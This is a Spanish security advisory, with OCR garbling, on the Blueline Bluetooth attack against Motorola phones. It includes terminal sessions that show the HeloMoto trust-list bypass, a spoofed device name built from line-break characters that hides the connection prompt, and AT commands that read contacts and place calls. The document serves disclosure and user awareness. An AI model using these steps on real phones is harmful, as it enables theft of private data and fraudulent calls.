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1. Introduccioén

Los teléfonos moviles Motorola son conocidos en todo el mundo por su sofisticacion y
atractivo disefio. Desde el lanzamiento del Motorola RAZR V3 en 2005, la compafiia
se ha mantenido a la vanguardia en la fabricacion de teléfonos moviles para gran
consumo, comercializando modelos de excelente calidad en rendimiento y usabilidad y
con un disefio revolucionario caracterizado por la delgadez y elegancia de sus formas.

Todos los teléfonos moviles Motorola de ultima generacion incorporan tecnologia
Bluetooth para el intercambio de archivos con otros teléfonos y el uso de equipos
manos libres. Asi mismo, estos modelos incorporan ciertas medidas de seguridad
béasicas que facilitan la proteccion de los usuarios frente a ataques Bluetooth. Algunas
de estas medidas son mantener por defecto la visibilidad del dispositivo en modo
oculto, para evitar que este sea descubierto por otros equipos; implantar un
temporizador de 60 segundos que evite mantener Bluetooth activado mientras el
usuario no esté haciendo uso de esta funcionalidad o denegar automaticamente
conexiones provenientes de equipos desconocidos.

Sin embargo, a pesar de incorporar estas medidas de seguridad bésicas, se han
encontrado ciertas vulnerabilidades en la implementacion Bluetooth de los teléfonos
moviles Motorola de Ultima generacién que permitirian a un atacante comprometer la
seguridad de estos dispositivos y la privacidad del usuario.

Todos los modelos vulnerables a este tipo de ataques siguen siendo comercializados
hoy en dia; algunos ellos incluso gozan de gran popularidad.

Es materia de este documento dar a conocer estas vulnerabilidades y concienciar a los
usuarios de teléfonos moviles Motorola de lo importante que resulta utilizar la
funcionalidad de Bluetooth de forma segura.

Linea del tiempo de los teléfonos Motorola:

RAZR PEBL SLVR SLIM KRZR




2. El ataque Blueline

En Marzo de 2006, Kevin Finisterre publico en su sitio web, DigitalMunition, un
advisory ™ en el que describia una nueva técnica de ataque por Bluetooth a teléfonos
méviles Motorola.

Kevin denomind a este nuevo ataque con el sobrenombre de ataque Blueline y publicé
una prueba de concepto atacando un Motorola PEBL U6.

Antes de publicar el advisory, Kevin mantuvo contacto con personal de Motorola para
la notificacion de la vulnerabilidad y desde la compafia se dijo que se harian esfuerzos
por incorporar soluciones de seguridad a este fallo en la produccion de software para
sucesivos modelos.

Nueve meses después, todavia se comercializan todos los teléfonos moviles
vulnerables al ataque Blueline y algunos de ellos se han llegado a convertir en
modelos bastante populares entre los usuarios.

2.1. Alcance del ataque Blueline

El analisis de riesgos de la seguridad en teléfonos moviles Bluetooth clasifica por
magnitud de impacto los factores de riesgo a los que puede exponerse un usuario en
caso de que su teléfono sea comprometido por un atacante. Puede resumirse en el
siguiente diagrama:

» Consumo del saldo: llamadas de voz, GPRS, envio de SMS, ...
» Acceso a informacion confidencial: lectura, modificacidn, borrado.
» Inutilizacion del terminal (Denial of Service)

El ataque Blueline afecta al usuario en los dos niveles de impacto mas graves. La
razén es que permite el acceso al juego de comandos AT GSM, el cual proporciona al
atacante un medio para llevar a cabo las siguientes acciones:

e Obtener informacién basica sobre el teléfono

e Configurar el tel ®f ono: establecer desv?2os
¢ Realizar llamadas de voz y de datos

e Acceso completo a | a agenda de contactos:
e Acceso a la agenda de llamadas perdidas, recibidas y realizadas

Ademas, se ha observado que en algunos modelos la funcionalidad de Bluetooth
gueda anulada tras un ataque Blueline y sélo puede reactivarse con el reinicio del
dispositivo.

U http://www.digitalmunition.com/DMA[2006-0321a].txt



http://www.digitalmunition.com/DMA%5b2006-0321a%5d.txt

2.2. Descripcion del ataque Blueline

El objetivo del ataque Blueline es la conexion al Perfil de Pasarela de Voz (Voice
Gateway Profile) con el fin de ejecutar comandos AT GSM en el terminal. El Perfil de
Pasarela de Voz, accesible a través del canal RFCOMM 3, es un perfil que requiere
autorizacion, aungque no autenticacion.

a gospel@ GospelFC5:~ [=(B)%]

Archivo Editar Ver Terminal Solapas Ayuda

[gospel@GospelFC5 ~]$% bluezscanner -cp
+ BlueZScanner, por Gospel <gospel.endorasoft.es>

Detectando dispositivos ...

Dispositivo (1) encontrado:
MAC: 00:19:C0:75:D4:7C Nombre: Motorola RAZR
Fabricante del Chip Bluetooth:
- Desconocido
Class: 0x522204 [010100100010001000000100]
- Servicios soportados (Service Classes):
- Telephony (Cordless telephony, Modem, Headset service,
Object Transfer (v-Inbox, v-Folder, ...)
Networking (LAN, Ad hoc, ...)
- Tipo de dispositivo (Device Class):
Phone > Cellular
Perfiles Bluetooth disponibles:
- Dial-up Networking GatewayZfnannel: 1)
Voice Gateway (Channel: 3)
Handsfree Voice Gateway (Channel: 7)
OBEX Object Push (Channel: 8)
OBEX file transfer (Channel: 9)
- Image Push (Channel: 10)
[gospel@GospelFC5 ~1% D

Los teléfonos méviles de Ultima generacidon de Motorola incorporan un mecanismo de
seguridad que deniega automaticamente cualquier intento de conexién proveniente de
cualquier equipo desconocido. Se entiende por equipo desconocido aquel no incluido
en el histoérico de dispositivos conectados anteriormente con el teléfono.

0 gospel @ GospelFC5:~/helomoto E“E“E]

Archivo Editar Ver Terminal Solapas Ayuda

[gospel@GospelFC5 helomoto]$ rfcomm connect O 00:19:C0:75:D4:7C 3

Can't connect RFCOMM socket: Connection refused



Con el fin de evitar este mecanismo de seguridad, el ataque Blueline se sirve de una
variacion del ataque HeloMoto 2.

El ataque HeloMoto, descubierto por el grupo Trifinite en 2004, explota una
implementacion incorrecta de la gestién de la lista de dispositivos de confianza en
teléfonos moviles Motorola antiguos: V80, V500 y V60O0.

El ataque HeloMoto se lleva a cabo enviando una tarjeta de visita o vCard a través del
Perfil de Carga de Objetos (OBEX Object Push). De forma automética y sin necesidad
de interaccién por parte del usuario del teléfono objetivo, el dispositivo atacante es
afadido a la lista de dispositivos de confianza del terminal, aunque el proceso de envio
haya sido interrumpido antes de llegar a su fin. Con el equipo incluido en la lista de
dispositivos de confianza del teléfono, el atacante puede acceder a perfiles que
requieran autorizacion, pero no autenticacion, como es el caso del Perfil de Pasarela
de Voz. Una vez establecida la conexion a este perfil, el atacante puede acceder a la
ejecucion de comandos AT GSM en el teléfono mévil comprometido.

Aungue en los modelos Motorola de ultima generacién el ataque HeloMoto no permite
afiadir el equipo atacante a la lista de dispositivos de confianza del teléfono, si que
permite afiadir el mismo al histérico de dispositivos conectados anteriormente,
suficiente para que cualquier intento de conexidon posterior no sea denegado
automaticamente por el teléfono objetivo.

| gospel @ GospelFC5:~/helomoto =0

Archivo Editar Ver Terminal Solapas Ayuda
[gospel@GospelFC5 helomoto]$ rfcomm connect O 00:19:C0:75:D4:7C 3

Can't connect RFCOMM socket: Connection refused
[gospel@GospelFC5 helomoto]$ ./helomoto plant 00:19:C0:75:D4:7C 8

De este modo y en adelante, las conexiones entrantes al teléfono mévil desde el
dispositivo atacante seran notificadas al usuario para que confirme explicitamente su
autorizacion.

Esta notificacion informara al usuario del
nombre del dispositivo origen y es muy
probable que el usuario deniegue tal
conexion si el nombre del dispositivo
resulta sospechoso o simplemente por
conducta preventiva.

2 hitp:/frifinite.org/trifinite  stuff helomoto.html



http://trifinite.org/trifinite_stuff_helomoto.html

a gospel @ GospelFC5:~/helomoto =03

Archivo Editar Ver Terminal Solapas A!uda

[gospel@CospelFC5 helomoto]$ rfcomm connect O 00:19:C0:75:D4:7C 3
Can't connect RFCOMM socket: Connection refused

[gospel@GospelFC5 helomoto]$ ./helomoto plant 00:19:C0:75:D4:7C 8
[gospel@GospelFC5 helomoto]$ rfcomm connect 0 00:19:C0:75:D4:7C 3
Can't connect RFCOMM socket: Connection refused

La tarea del atacante es persuadir al usuario del teléfono mévil para que confirme la
autorizacion de conexion al Perfil de Pasarela de Voz.

La originalidad del ataque Blueline consiste en provocar una falsificacion o spoofing
del interfaz sustituyendo el mensaje original de la ventana de notificacién de conexion
entrante por cualquier texto deseado con sélo modificar el nombre del dispositivo
atacante por una cadena de caracteres maliciosa que contenga el caracter 0x0d para
salto de linea.

= gospel@ GospelFC5:/home/gospel =N

Archivo Editar Ver Terminal Solapas Ayuda

[root@GospelFCS5 gospell# hciconfig hciO name "perl -e 'print "Pulse\xOdaceptar
\x0Odpara\x0Oddeshabilitar\x0Odsilencio\x0d\x04"""

[root@GospelFC5 gospel]# D

Introduciendo caracteres de salto de linea, el atacante consigue desplazar parte del
mensaje de aviso de conexion entrante a una zona del interfaz no visible por el

usuario.

De esta forma, el aviso de notificacion
malicioso podria engafar facilmente al
usuario del teléfono mévil objetivo con
un mensaje inocuo y forzarle a que
aceptara la conexién, en cuyo caso el
dispositivo atacante quedaria
autorizado en el teléfono objetivo.




(= | gospel@ GospelFC5:~/helomoto

(=B ](x]

[gospel@GospelFC5 helomoto]$
Can't connect RFCOMM socket:
[gospel@GospelFC5 helomoto]$
[gospel@GospelFC5 helomoto]$
Can't connect RFCOMM socket:
[gospel@GospelFC5 helomoto]$

Connected /dev/rfcommO0 to 00:

Archivo Editar Ver Terminal Solapas Ayuda

rfcomm connect 0 00:19:C0:75:D4:7C 3
Connection refused

./helomoto plant 00:19:C0:75:D4:7C 8
rfcomm connect 0 00:19:C0:75:D4:7C 3
Connection refused

rfcomm connect 0 00:19:C0:75:D4:7C 3
19:C0:75:D4:7C on channel 3

Press CTRL-C for hangup

Si el usuario objetivo es engafiado y confia en el aviso mostrado por pantalla, el
dispositivo atacante dispondra de autorizacion para acceder al Perfil de Pasarela de
Voz y ejecutar comandos AT GSM en el terminal comprometido.

= gospel@ GospelFC5:/home/gospel la= ;g' o '5; x.

Archivo Editar Ver Terminal Solapas Ayuda

[root@GospelFC5 gospell]# cu -1 rfcommO -s 9600
Connected.

OK

+CGMI: "Motorola CE, Copyright 2004"

OK

+CGMM: "GSM900","GSM1800", "GSM1900", "GSM850", "MODEL=V3r"
OK

+CPBR: 44,"619000000",129, "Alberto"

: Got hangup signal

Disconnected.
[root@GospelFC5 gospell]# D

En este ejemplo se han enviado los siguientes comandos AT:

e AT confirma con OK

o AT+CGMlidentifica el fabricante (marca)

e AT+CGMNMentifica el modelo de teléfono

e AT+CPBR=44lee la entrada 44 de la agenda de contactos
e ATD619000000; realiza una llamada de voz a un nimero



3. Estado del arte del ataque Blueline, respuesta del fabricante

Tras la notificacion del ataque Blueline en Marzo de 2006, Motorola dijo que
solucionaria la vulnerabilidad en el software de los sucesivos modelos. La solucion al
fallo era simple: revisar y corregir el incorrecto tratamiento de caracteres en el nombre
de un dispositivo para evitar que el caracter 0x0d (salto de linea) desplace el resto del
mensaje de aviso de conexidén entrante a una zona del interfaz no visible.

Las soluciones para evitar el spoofing del interfaz pueden ser mdltiples, desde filtrar
caracteres no alfanuméricos en los nombres de dispositivos remotos hasta no colocar
la parte estatica del mensaje de aviso de conexion entrante al final de la ventana, sino
al principio de la misma. De esta forma, los caracteres de salto de linea no
desplazarian ninguna parte del mensaje a una zona no visible del interfaz.

Opcionalmente, Motorola podia plantearse reforzar el interfaz Bluetooth de sus
teléfonos moviles implantando dos medidas adicionales:

e En primer lugar, podria solucionar la vulnerabilidad que explota el ataque
HeloMoto, por la cual es posible realizar una conexién al Perfil de Carga de
Objetos eludiendo el mecanismo de autorizacion e incluir un equipo
desconocido en el histoérico de dispositivos conectados anteriormente.

e En segundo lugar, implementar un perfil con acceso a la capa de comandos AT
GSM, como es el caso del Perfil de Pasarela de Voz, sin mecanismos de
autenticacién (emparejamiento) supone dar mas importancia a la comodidad en
el uso de equipos manos libres frente a la seguridad del dispositivo.



Tras el test que llevé a cabo en Agosto del 2006 con un Motorola RAZR V3 (adquirido
en 2005) y con nueves meses de posterioridad a la notificacién de la vulnerabilidad,
me he servido de cinco teléfonos moviles Motorola adquiridos durante la segunda
mitad del afio 2006 con el fin de comprobar si Motorola ha introducido soluciones de
seguridad durante este periodo.

Motorola RAZR V3r
Adquirido: Tiendas Movistar 10/06
00:19:C0:75:D4:7C

Motorola PEBL U6
Adquirido: Tiendas Movistar 11/06
00:18:A4:F5:E5:0C

Motorola SLVR L7
Adquirido: Tiendas Vodafone 09/06
00:17:E2:90:19:DC

Motorola SLIM L6-imode
Adquirido: Tiendas Movistar 11/06
00:19:2C:4D:8D:9C

Motorola KRZR K1
Adquirido: Tiendas Movistar 12/06
00:17:E3:22:76:73



